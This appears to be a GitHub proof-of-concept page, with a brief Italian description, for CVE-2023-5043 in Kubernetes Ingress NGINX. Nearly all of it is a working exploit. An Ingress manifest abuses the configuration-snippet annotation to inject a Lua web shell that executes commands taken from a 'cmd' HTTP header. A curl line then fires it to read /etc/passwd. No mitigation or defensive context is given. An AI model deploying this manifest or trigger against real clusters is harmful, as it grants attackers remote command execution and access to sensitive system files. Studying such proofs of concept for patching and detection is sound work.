r0binak/cve-2023-5043Proof-of-concept exploit per CVE-2023-5043, che dimostra l'esecuzione arbitraria di comandi tramite l'iniezione di annotazioni Ingress NGINX in Kubernetes, con un trigger RCE basato su curl.
L'iniezione di annotazioni in Ingress nginx causa l'esecuzione arbitraria di comandi
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "robinak"
proxy_pass http://upstream_balancer;
proxy_redirect off;
}
location /robinak/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
rules:
- host: robinak.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
curl -v -H 'Host: robinak.me' -H "cmd: cat /etc/passwd" http://IP/robinak/
